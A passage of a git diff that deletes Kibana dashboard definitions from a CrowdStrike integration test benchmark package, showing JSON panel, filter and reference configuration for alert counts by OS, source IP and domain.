-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-3e217a16-1cad-407e-a29d-33fb0efd613e",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "currentIndexPatternId": "logs-*",
-                                    "layers": {
-                                        "3e217a16-1cad-407e-a29d-33fb0efd613e": {
-                                            "columnOrder": [
-                                                "60741f14-245b-4258-938a-d2cb4e740b6f",
-                                                "b44ed009-e2ae-4836-94e7-aa543ed5e953"
-                                            ],
-                                            "columns": {
-                                                "60741f14-245b-4258-938a-d2cb4e740b6f": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Host OS Full Name",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "b44ed009-e2ae-4836-94e7-aa543ed5e953",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 5
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "host.os.full"
-                                                },
-                                                "b44ed009-e2ae-4836-94e7-aa543ed5e953": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false,
-                                                        "format": {
-                                                            "id": "number",
-                                                            "params": {
-                                                                "decimals": 0
-                                                            }
-                                                        }
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "indexPatternId": "logs-*",
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "e96f97bb-f9af-48e9-a677-945571469682",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.alert"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "colorMapping": {
-                                            "assignments": [],
-                                            "colorMode": {
-                                                "type": "categorical"
-                                            },
-                                            "paletteId": "eui_amsterdam_color_blind",
-                                            "specialAssignments": [
-                                                {
-                                                    "color": {
-                                                        "type": "loop"
-                                                    },
-                                                    "rule": {
-                                                        "type": "other"
-                                                    },
-                                                    "touched": false
-                                                }
-                                            ]
-                                        },
-                                        "layerId": "3e217a16-1cad-407e-a29d-33fb0efd613e",
-                                        "layerType": "data",
-                                        "legendDisplay": "show",
-                                        "metrics": [
-                                            "b44ed009-e2ae-4836-94e7-aa543ed5e953"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "60741f14-245b-4258-938a-d2cb4e740b6f"
-                                        ],
-                                        "truncateLegend": false
-                                    }
-                                ],
-                                "shape": "pie"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 16,
-                    "i": "eeaa1689-14d1-47b4-81f7-c72fcb03a75b",
-                    "w": 24,
-                    "x": 0,
-                    "y": 93
-                },
-                "panelIndex": "eeaa1689-14d1-47b4-81f7-c72fcb03a75b",
-                "title": "Alert by OS Full Name [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-de65c5ed-b26c-419b-9a15-9928336a1964",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "currentIndexPatternId": "logs-*",
-                                    "layers": {
-                                        "de65c5ed-b26c-419b-9a15-9928336a1964": {
-                                            "columnOrder": [
-                                                "598e03c3-d3d6-41c4-b512-6c181d224dd8",
-                                                "6c0d6d22-93ea-4bf6-80f4-822eaabf0893"
-                                            ],
-                                            "columns": {
-                                                "598e03c3-d3d6-41c4-b512-6c181d224dd8": {
-                                                    "customLabel": true,
-                                                    "dataType": "ip",
-                                                    "isBucketed": true,
-                                                    "label": "Source IP",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "6c0d6d22-93ea-4bf6-80f4-822eaabf0893",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": false,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "source.ip"
-                                                },
-                                                "6c0d6d22-93ea-4bf6-80f4-822eaabf0893": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false,
-                                                        "format": {
-                                                            "id": "number",
-                                                            "params": {
-                                                                "decimals": 0
-                                                            }
-                                                        }
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "indexPatternId": "logs-*",
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "a6d5ef27-01ca-4160-b575-9912c400725a",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.alert"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "columns": [
-                                    {
-                                        "columnId": "598e03c3-d3d6-41c4-b512-6c181d224dd8",
-                                        "isMetric": false,
-                                        "isTransposed": false
-                                    },
-                                    {
-                                        "columnId": "6c0d6d22-93ea-4bf6-80f4-822eaabf0893",
-                                        "isMetric": true,
-                                        "isTransposed": false
-                                    }
-                                ],
-                                "layerId": "de65c5ed-b26c-419b-9a15-9928336a1964",
-                                "layerType": "data"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsDatatable"
-                    },
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 16,
-                    "i": "d8841493-66ad-484a-8c0d-364af07dfc1d",
-                    "w": 24,
-                    "x": 24,
-                    "y": 93
-                },
-                "panelIndex": "d8841493-66ad-484a-8c0d-364af07dfc1d",
-                "title": "Top 10 Source IP [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-96ed08f7-28f8-4a35-bcb6-699287f45a23",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "currentIndexPatternId": "logs-*",
-                                    "layers": {
-                                        "96ed08f7-28f8-4a35-bcb6-699287f45a23": {
-                                            "columnOrder": [
-                                                "7ab2a2d3-28c0-4a7f-b944-817f8a2507ef",
-                                                "48e386b0-f54e-43b1-a156-338fff479377"
-                                            ],
-                                            "columns": {
-                                                "48e386b0-f54e-43b1-a156-338fff479377": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false,
-                                                        "format": {
-                                                            "id": "number",
-                                                            "params": {
-                                                                "decimals": 0
-                                                            }
-                                                        }
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "7ab2a2d3-28c0-4a7f-b944-817f8a2507ef": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Source Domain",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "48e386b0-f54e-43b1-a156-338fff479377",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": false,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "source.user.domain"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "indexPatternId": "logs-*",
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "f2b34b6b-b37a-4f69-8307-e1c4eb62e1b8",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.alert"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "columns": [
-                                    {
-                                        "columnId": "7ab2a2d3-28c0-4a7f-b944-817f8a2507ef",
-                                        "isMetric": false,
-                                        "isTransposed": false
-                                    },
-                                    {
-                                        "columnId": "48e386b0-f54e-43b1-a156-338fff479377",
-                                        "isMetric": true,
-                                        "isTransposed": false
-                                    }
-                                ],
-                                "layerId": "96ed08f7-28f8-4a35-bcb6-699287f45a23",
-                                "layerType": "data"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsDatatable"
-                    },
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 17,
-                    "i": "563afa88-1775-4eb7-b9a4-623df26e9c9b",
-                    "w": 24,
-                    "x": 0,
-                    "y": 109
-                },
-                "panelIndex": "563afa88-1775-4eb7-b9a4-623df26e9c9b",
-                "title": "Top 10 Source Domain [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "currentIndexPatternId": "logs-*",
-                                    "layers": {
-                                        "7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9": {
-                                            "columnOrder": [
-                                                "4bdc5759-4321-4d1c-97af-811435ad7854",
-                                                "0a4ab4bb-c951-448b-9c4c-a949d59074cd"
-                                            ],
-                                            "columns": {
-                                                "0a4ab4bb-c951-448b-9c4c-a949d59074cd": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false,
-                                                        "format": {
-                                                            "id": "number",
-                                                            "params": {
-                                                                "decimals": 0
-                                                            }
-                                                        }
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "4bdc5759-4321-4d1c-97af-811435ad7854": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Destination Domain",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "0a4ab4bb-c951-448b-9c4c-a949d59074cd",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": false,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "destination.user.domain"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "indexPatternId": "logs-*",
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "0b9b2061-279c-431c-b5d4-c16b4f99feaa",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.alert"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "columns": [
-                                    {
-                                        "columnId": "4bdc5759-4321-4d1c-97af-811435ad7854"
-                                    },
-                                    {
-                                        "columnId": "0a4ab4bb-c951-448b-9c4c-a949d59074cd",
-                                        "isMetric": true,
-                                        "isTransposed": false
-                                    }
-                                ],
-                                "layerId": "7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9",
-                                "layerType": "data"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsDatatable"
-                    },
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 17,
-                    "i": "fdd5aa72-947d-4a68-b912-5ab8bb724da3",
-                    "w": 24,
-                    "x": 24,
-                    "y": 109
-                },
-                "panelIndex": "fdd5aa72-947d-4a68-b912-5ab8bb724da3",
-                "title": "Top 10 Destination Domain [Logs CrowdStrike]",
-                "type": "lens"
-            }
-        ],
-        "timeRestore": false,
-        "title": "[Logs CrowdStrike] Alert",
-        "version": 2
-    },
-    "coreMigrationVersion": "8.8.0",
-    "created_at": "2025-03-01T12:27:19.674Z",
-    "id": "crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c",
-    "managed": false,
-    "references": [
-        {
-            "id": "logs-*",
-            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "cf48b7df-a51b-4a21-a2f9-c4c05705b5eb:indexpattern-datasource-layer-836a096e-11de-4f16-8dc1-08de3e3a2b2f",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc:indexpattern-datasource-layer-b4403946-8fa4-464f-b1e2-17fae6304bb5",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc:5c9cfcd1-2c7f-493f-86a5-002bcf501fde",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8:indexpattern-datasource-layer-986a7419-3b29-4812-8f1e-8648d18ce08b",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8:db8d1eab-6c1e-4d8a-9efa-1f7407fc28bf",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "aaa3ce74-8cbd-4e77-837e-cdbd42494339:indexpattern-datasource-layer-6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "aaa3ce74-8cbd-4e77-837e-cdbd42494339:82644959-ef2b-4640-a0ca-d45036d96764",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "14405add-afa0-4e3f-9efd-1f52fad51027:indexpattern-datasource-layer-3a2c2235-1a9e-4db6-ac43-2f05c6775021",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "14405add-afa0-4e3f-9efd-1f52fad51027:9040575b-9449-4f08-98ae-116d26ebf28d",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4:indexpattern-datasource-layer-a6424e3b-fc6e-460e-8385-5a410a690d34",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4:7f2f6ede-7728-4214-a79c-27931101ec10",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "69f87d85-d0f2-4fb3-9e02-e970098547db:indexpattern-datasource-layer-e83ee069-a761-49ed-878d-c9972e55a388",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "69f87d85-d0f2-4fb3-9e02-e970098547db:9a07642d-eec9-4213-b1ae-bb5adbbcf25c",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "940c98f0-56e7-4e29-88d2-07f160f579cb:indexpattern-datasource-layer-4e7a254a-d432-4988-a5cb-3de38f841cc9",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "940c98f0-56e7-4e29-88d2-07f160f579cb:d887537f-f1fd-404b-8327-8bf3b0d1fdfe",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "9af8495e-c5fb-4fee-ae54-1fffa46a4401:indexpattern-datasource-layer-a278b2d5-076e-409c-b9ca-2da50d6d0a09",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "9af8495e-c5fb-4fee-ae54-1fffa46a4401:bbcb4d86-6890-474c-9975-f1476711cfad",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "e69a2e95-217d-43d5-acae-811245c3e308:indexpattern-datasource-layer-d64a8cc0-006e-4e06-9e75-e32cf447cf41",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "53575ba2-1378-4f8a-990d-2c5c603ea0a2:indexpattern-datasource-layer-3d13796e-f0f8-45e1-b836-ad209d6cb1ba",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "eeaa1689-14d1-47b4-81f7-c72fcb03a75b:indexpattern-datasource-layer-3e217a16-1cad-407e-a29d-33fb0efd613e",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "d8841493-66ad-484a-8c0d-364af07dfc1d:indexpattern-datasource-layer-de65c5ed-b26c-419b-9a15-9928336a1964",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "563afa88-1775-4eb7-b9a4-623df26e9c9b:indexpattern-datasource-layer-96ed08f7-28f8-4a35-bcb6-699287f45a23",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "fdd5aa72-947d-4a68-b912-5ab8bb724da3:indexpattern-datasource-layer-7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9",
-            "type": "index-pattern"
-        }
-    ],
-    "type": "dashboard",
-    "typeMigrationVersion": "10.2.0",
-    "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0"
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json
deleted file mode 100644
index 623e3c5bb6..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json
+++ /dev/null
@@ -1,1073 +0,0 @@
-{
-    "attributes": {
-        "controlGroupInput": {
-            "chainingSystem": "HIERARCHICAL",
-            "controlStyle": "oneLine",
-            "ignoreParentSettingsJSON": {
-                "ignoreFilters": false,
-                "ignoreQuery": false,
-                "ignoreTimerange": false,
-                "ignoreValidations": false
-            },
-            "panelsJSON": {
-                "1424080f-b8da-4816-94dd-904bde41c6de": {
-                    "explicitInput": {
-                        "dataViewId": "logs-*",
-                        "fieldName": "observer.address",
-                        "id": "1424080f-b8da-4816-94dd-904bde41c6de",
-                        "searchTechnique": "prefix",
-                        "selectedOptions": [],
-                        "sort": {
-                            "by": "_count",
-                            "direction": "desc"
-                        },
-                        "title": "Observer Address"
-                    },
-                    "grow": true,
-                    "order": 0,
-                    "type": "optionsListControl",
-                    "width": "medium"
-                },
-                "234700e7-0f96-4054-9073-64b3e2d61fa2": {
-                    "explicitInput": {
-                        "dataViewId": "logs-*",
-                        "fieldName": "data_stream.dataset",
-                        "id": "234700e7-0f96-4054-9073-64b3e2d61fa2",
-                        "searchTechnique": "prefix",
-                        "selectedOptions": [],
-                        "sort": {
-                            "by": "_count",
-                            "direction": "desc"
-                        },
-                        "title": "Datastream"
-                    },
-                    "grow": true,
-                    "order": 2,
-                    "type": "optionsListControl",
-                    "width": "medium"
-                },
-                "2f027408-9e82-4fbe-8c59-f32e933b50f0": {
-                    "explicitInput": {
-                        "dataViewId": "logs-*",
-                        "fieldName": "host.hostname",
-                        "id": "2f027408-9e82-4fbe-8c59-f32e933b50f0",
-                        "searchTechnique": "prefix",
-                        "selectedOptions": [],
-                        "sort": {
-                            "by": "_count",
-                            "direction": "desc"
-                        },
-                        "title": "Hostname"
-                    },
-                    "grow": true,
-                    "order": 1,
-                    "type": "optionsListControl",
-                    "width": "medium"
-                },
-                "3dc73766-aa88-46ff-a02d-b0e600136550": {
-                    "explicitInput": {
-                        "dataViewId": "logs-*",
-                        "fieldName": "event.action",
-                        "id": "3dc73766-aa88-46ff-a02d-b0e600136550",
-                        "searchTechnique": "prefix",
-                        "selectedOptions": [],
-                        "sort": {
-                            "by": "_count",
-                            "direction": "desc"
-                        },
-                        "title": "Event Type"
-                    },
-                    "grow": true,
-                    "order": 3,
-                    "type": "optionsListControl",
-                    "width": "medium"
-                }
-            },
-            "showApplySelections": false
-        },
-        "description": "",
-        "kibanaSavedObjectMeta": {
-            "searchSourceJSON": {
-                "filter": [
-                    {
-                        "$state": {
-                            "store": "appState"
-                        },
-                        "meta": {
-                            "alias": null,
-                            "disabled": false,
-                            "field": "data_stream.dataset",
-                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
-                            "key": "data_stream.dataset",
-                            "negate": false,
-                            "params": [
-                                "crowdstrike.falcon",
-                                "crowdstrike.fdr"
-                            ],
-                            "type": "phrases"
-                        },
-                        "query": {
-                            "bool": {
-                                "minimum_should_match": 1,
-                                "should": [
-                                    {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.falcon"
-                                        }
-                                    },
-                                    {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.fdr"
-                                        }
-                                    }
-                                ]
-                            }
-                        }
-                    }
-                ],
-                "query": {
-                    "language": "kuery",
-                    "query": ""
-                }
-            }
-        },
-        "optionsJSON": {
-            "hidePanelTitles": false,
-            "syncColors": false,
-            "syncCursor": true,
-            "syncTooltips": false,
-            "useMargins": true
-        },
-        "panelsJSON": [
-            {
-                "embeddableConfig": {
-                    "enhancements": {
-                        "dynamicActions": {
-                            "events": []
-                        }
-                    },
-                    "hidePanelTitles": false,
-                    "savedVis": {
-                        "data": {
-                            "aggs": [],
-                            "searchSource": {
-                                "filter": [],
-                                "query": {
-                                    "language": "kuery",
-                                    "query": ""
-                                }
-                            }
-                        },
-                        "description": "",
-                        "id": "",
-                        "params": {
-                            "fontSize": 12,
-                            "markdown": "## **Crowdstrike**\n\n### Navigation\n\n**Overview** \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f)  \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboards shows the overview of currently enabled Crowdstrike Integrations (Falcon and FDR).\n\n",
-                            "openLinksInNewTab": false
-                        },
-                        "title": "",
-                        "type": "markdown",
-                        "uiState": {}
-                    }
-                },
-                "gridData": {
-                    "h": 41,
-                    "i": "90059f1b-88f7-4e04-b755-081233d12559",
-                    "w": 7,
-                    "x": 0,
-                    "y": 0
-                },
-                "panelIndex": "90059f1b-88f7-4e04-b755-081233d12559",
-                "title": "Table of Contents",
-                "type": "visualization"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "a973e58c-53cc-411f-87e5-3cbbd3f0dcf8",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
-                                            "columnOrder": [
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                            ],
-                                            "columns": {
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "FDR Alerts",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": true
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "index": "a973e58c-53cc-411f-87e5-3cbbd3f0dcf8",
-                                        "negate": false,
-                                        "params": [
-                                            {
-                                                "meta": {
-                                                    "alias": null,
-                                                    "disabled": false,
-                                                    "field": "data_stream.dataset",
-                                                    "index": "logs-*",
-                                                    "key": "data_stream.dataset",
-                                                    "negate": false,
-                                                    "params": {
-                                                        "query": "crowdstrike.fdr"
-                                                    },
-                                                    "type": "phrase"
-                                                },
-                                                "query": {
-                                                    "match_phrase": {
-                                                        "data_stream.dataset": "crowdstrike.fdr"
-                                                    }
-                                                }
-                                            },
-                                            {
-                                                "meta": {
-                                                    "alias": null,
-                                                    "disabled": false,
-                                                    "field": "event.kind",
-                                                    "index": "logs-*",
-                                                    "key": "event.kind",
-                                                    "negate": false,
-                                                    "params": {
-                                                        "query": "alert"
-                                                    },
-                                                    "type": "phrase"
-                                                },
-                                                "query": {
-                                                    "match_phrase": {
-                                                        "event.kind": "alert"
-                                                    }
-                                                }
-                                            }
-                                        ],
-                                        "relation": "AND",
-                                        "type": "combined"
-                                    },
-                                    "query": {}
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "color": "#6092C0",
-                                "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "layerType": "data",
-                                "metricAccessor": "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsMetric"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 7,
-                    "i": "461d0b53-5efe-44fb-8cba-73a6e1a701c0",
-                    "w": 7,
-                    "x": 7,
-                    "y": 0
-                },
-                "panelIndex": "461d0b53-5efe-44fb-8cba-73a6e1a701c0",
-                "title": "FDR Alerts",
